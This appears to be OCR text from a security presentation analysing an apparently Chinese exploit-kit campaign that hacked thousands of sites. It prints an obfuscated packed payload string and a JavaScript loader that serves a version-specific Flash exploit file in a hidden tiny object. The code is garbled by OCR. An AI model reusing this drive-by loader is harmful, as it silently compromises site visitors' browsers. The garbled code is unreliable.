WO0J9mInyWQS3TRGFVtGIEUTgtBwrtTs3r5r5|eStEpfTc7nVoUBdrfnvts3c77r3VwZwyGw7rdj40S4DTwwEtuOUw|2F4StTUZVKFiwxQvtsu
d7Z6BviR1gxUZ41VgTBfRWygPfouZtCwW)|C2|qvRHptd4RPFZVOdoRWQgrWTnPs2T2ERO20Tne3popm40sQu40mPiRNToT7Qypntnp
esHPeK0OWp|OjZMoJP6eeMIvQmF5fLYP1nrQEmvyZkSnFtSooFWTtT pp50inTWL |5aldMggqrauWJUWrhS3OQWRUSQrENVCcE61vPUOVt
vTv4uPODVLYfQ|sHuUN3ULUhmfxW6peMMZM7XPrf5SNkDpP107zMpYE5MMzMj44LgxGO|32|[NuKp TRINWOVYM5mqqrwSMTnoeoty08J
MnKJMgPw2peySMgMWQuMw|runOgp8mpn8m7PrZBEleoWng2DRELgZMUGREoUJMmLHmMZz1KUOPCX|e6pfQvXeMpPuVPwP9vOXzF
r30I19vRpzFDxm5NjqVxmLzdLSvTuml|HmLvIsSRWOLNvVrFPfcVyumpRKp4dpJ9VQMJUIXmmnTL2GWOLNQK|0x8000|while|LoopyMusi
cltadallmportlflooy23456456|random|aV||cIock|I|zhen|Iength|ch|mes|TestSnd|BuzzmgBee|kaOqJPJP3YYOfNYwLEQk0 p47zpfKRKJJKV
e9xJKYoloYolOoCQv 3VSVwLuRKvaavaQvJMWVsZzMFv028K8mWVanmmn8mDUBzJMEB|us|550|en|cn|148|zh|536|543|Ant|V|rus
|[Fucking|LLLLPXXXXXLD|TY HIHIHIIIIIIITQZJAXPOAOAKAAQ2AB2BBOBBABXP8ABuUJI'.split(']'),0,{}))




<SCRIPT language="JavaScript">

window.status="i&E";

</script>

<script type="text/javascript" src="swfobject.js"></Script>

<div id="flashcontent">111</div><div id="flashversion">222</div>

<script type="text/javascript">

test = "mymovie";

var versionn=deconcept.SWFObjectUtil.getPlayerVersion();

if(versionn['major']==9) {
document.getElementByld('flashversion').innerHTML="";

if(versionn['rev']==115) { var so=new SWFODbject("i115.swf" test,"0.1","0.1","9","#000000"); so.write("flashcontent") }
else if(versionn['rev']==64) { var so=new SWFObject("i64.swf" test,"0.1","0.1","9","#000000"); so.write("flashcontent") }
else if(versionn['rev']==47) { var so=new SWFObject("i47.swf" test,"0.1","0.1","9","#000000"); so.write("flashcontent") }
else if(versionn['rev']==45) { var so=new SWFObject("i45.swf" test,"0.1","0.1","9","#000000"); so.write("flashcontent") }
else if(versionn['rev']==28) { var so=new SWFObject("i28.swf" test,"0.1","0.1","9","#000000"); so.write("flashcontent") }
else if(versionn['rev']==16) { var so=new SWFObject("i16.swf" test,"0.1","0.1","9","#000000"); so.write("flashcontent") }
else if(versionn['rev']>=124) { if(document.getElementByld) { document.getElementByld(‘flashversion').innerH TML=""}
}

}

</Script>v
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* 1000’s of sites hacked

« Employs various types of evasions and obfuscation
» Updates infrastructure with new exploits mere days after they come out
« Can’t be sure its Chinese, but highly likely

» Based on several clues (languages used, IPs, etc)
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